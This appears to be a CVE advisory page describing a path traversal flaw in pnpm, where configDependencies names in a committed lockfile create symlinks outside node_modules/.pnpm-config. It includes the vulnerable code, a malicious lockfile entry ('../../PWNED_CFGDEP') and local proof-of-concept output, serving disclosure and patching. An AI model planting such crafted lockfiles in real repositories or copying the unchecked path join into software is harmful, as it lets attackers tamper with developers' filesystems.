🛡️ CVE-2026-59195 — pnpm

🟠 CVSS 8.0 — High ⚠️ Exploit Public CWE-22 OSV
8.0
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

pnpm: Path traversal in configDependencies env lockfile allows symlink creation outside node_modules/.pnpm-config

Summary

pnpm accepts package names from the env lockfile configDependencies section and uses those names directly when creating config dependency symlinks under node_modules/.pnpm-config.

A malicious repository can commit a crafted pnpm-lock.yaml whose env-lockfile document contains a traversal-shaped config dependency name such as ../../PWNED_CFGDEP. During pnpm install, pnpm installs the config dependency and creates a symlink at a path derived from that name.

In local testing against pnpm v11.5.1, this caused pnpm to create a symlink outside the intended config dependency directory:

```text

expected root: /tmp/pnpm-cfgdep-poc-sznwgunx/victim/node_modules/.pnpm-config

actual path: /tmp/pnpm-cfgdep-poc-sznwgunx/victim/PWNED_CFGDEP

```

This works with --ignore-scripts, so it does not rely on lifecycle script execution.

Vulnerable behavior

The vulnerable behavior appears to be that configDependencies keys from the env lockfile are trusted as package names and used in filesystem paths without rejecting traversal components.

The relevant pattern is:

```ts

const configModulesDir = path.join(opts.rootDir, 'node_modules/.pnpm-config')

for (const [pkgName, pkg] of Object.entries(normalizedDeps)) {

const configDepPath = path.join(configModulesDir, pkgName)

const pkgDirInGlobalVirtualStore = path.join(

globalVirtualStoreDir,

relPath,

'node_modules',

pkgName

)

await symlinkDir(pkgDirInGlobalVirtualStore, configDepPath)

}

```

If pkgName is attacker-controlled and contains .., then path.join(configModulesDir, pkgName) can resolve outside node_modules/.pnpm-config.

Impact

A malicious project can cause pnpm to create symlinks outside the intended node_modules/.pnpm-config directory during install.

This gives an attacker a filesystem write primitive in the victim project directory, and potentially outside it with deeper traversal payloads, depending on path permissions and platform behavior.

The issue is especially relevant because:

  • The malicious input is committed in pnpm-lock.yaml.
  • The issue is triggered during pnpm install.
  • It works with --ignore-scripts.
  • It occurs in the config dependency installation path, before ordinary dependency installation.
  • The user only needs to install a malicious or compromised repository.

Local proof of concept

The following local-only PoC creates a temporary project, starts a local fake registry on 127.0.0.1, writes a malicious env-lockfile entry, runs pnpm, and checks whether pnpm created a symlink outside node_modules/.pnpm-config.

Command used:

```bash

python3 ../pnpm_configdeps_path_traversal_poc.py \

--pnpm-cmd "node /home/ethical/pnpm-main/pnpm/bin/pnpm.cjs" \

--keep 2>&1 | tee /tmp/pnpm-configdeps-poc.log

```

Observed output:

```text

[+] Test project: /tmp/pnpm-cfgdep-poc-sznwgunx/victim

[+] Local registry: http://127.0.0.1:36545/

[+] Store dir: /tmp/pnpm-cfgdep-poc-sznwgunx/store

[+] Malicious name: '../../PWNED_CFGDEP'

[+] Intended cfg root: /tmp/pnpm-cfgdep-poc-sznwgunx/victim/node_modules/.pnpm-config

[+] Traversal sink: /tmp/pnpm-cfgdep-poc-sznwgunx/victim/PWNED_CFGDEP

[+] Lockfile written: /tmp/pnpm-cfgdep-poc-sznwgunx/victim/pnpm-lock.yaml

[+] Running: node /home/ethical/pnpm-main/pnpm/bin/pnpm.cjs install --ignore-scripts --config.confirmModulesPurge=false --reporter=append-only --store-dir /tmp/pnpm-cfgdep-poc-sznwgunx/store --registry http://127.0.0.1:36545/

```

pnpm output:

```text

Installing config dependencies...

Installed config dependencies: ../../[email protected], [email protected]

Already up to date

Done in 906ms using pnpm v11.5.1

```

The PoC then detected the escaped symlink:

```text

[+] Traversal sink status: symlink -> ../store/v11/PWNED_CFGDEP/1.0.0/PWNED_CFGDEP

[VULNERABLE] pnpm created/modified a path derived from a lockfile package name outside node_modules/.pnpm-config

sink = /tmp/pnpm-cfgdep-poc-sznwgunx/victim/PWNED_CFGDEP

readlink = ../store/v11/PWNED_CFGDEP/1.0.0/PWNED_CFGDEP

```

Malicious lockfile structure

The malicious input is an env-lockfile configDependencies key containing traversal components:

```yaml

importers:

.:

configDependencies:

legit-config-dep:

specifier: '1.0.0'

version: '1.0.0'

'../../PWNED_CFGDEP':

specifier: '1.0.0'

version: '1.0.0'

```

pnpm accepts the traversal-shaped name and reports it as installed:

```text

Installed config dependencies: ../../[email protected], [email protected]

```

Security boundary violation

The intended config dependency root was:

```text

/tmp/pnpm-cfgdep-poc-sznwgunx/victim/node_modules/.pnpm-config

```

But pnpm created:

```text

/tmp/pnpm-cfgdep-poc-sznwgunx/victim/PWNED_CFGDEP

```

This demonstrates that a config dependency name from the lockfi

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. A user must be tricked into taking some action. The scope is changed, meaning a successful attack can affect components beyond the vulnerable one. Rated impact: confidentiality none, integrity high, availability low.

Weakness class

CVE-2026-59195 is classified as CWE-22: Path Traversal. A file path built from user input is not confined to the intended directory, letting an attacker reach files elsewhere on the filesystem.

Affected software

CVE-2026-59195 is recorded against 1 package.

  • pnpm

Timeline and source

Published on 27 June 2026 and last revised on 8 July 2026. A public exploit is known to exist, which raises the urgency of patching considerably. Record sourced from OSV.

References

github.com (Web)
github.com (Package)

Details

Severity HIGH
CVSS Score 8.0
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:L
CWE CWE-22
Public Exploit ⚠️ Yes
Source OSV
Published 2026-06-27
Updated 2026-08-12
Modified 2026-07-08
Fix URL N/A

Affected Packages

Software From version Fixed in
pnpm

Similar Threats

Exploit Protection

Are you running pnpm?

CVE-2026-59195 carries CVSS 8.0 High rating and a public exploit already exists. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.

Check My Site For CVE-2026-59195 →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026